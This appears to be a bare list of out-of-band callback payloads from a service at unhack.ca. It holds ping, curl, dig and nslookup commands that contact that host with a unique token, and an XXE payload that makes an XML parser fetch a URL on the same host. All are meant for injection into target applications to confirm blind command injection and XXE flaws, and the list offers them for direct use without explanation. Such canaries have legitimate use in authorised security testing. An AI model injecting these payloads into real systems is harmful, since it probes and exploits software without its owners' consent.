$ ping -c1 -p 008e679d74b8c6a9272794b96e947100 unhack.ca
$ curl http://unhack.ca/p/8e679d74b8c6a9272794b96e9471
$ dig 8e679d74b8c6a9272794b96e9471 @unhack.ca
$ dig 8e679d74b8c6a9272794b96e9471.ns.unhack.ca
C:\> nslookup 8e679d74b8c6a9272794b96e9471 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/8e679d74b8c6a9272794b96e9471">]> <foo>&xxe;</foo>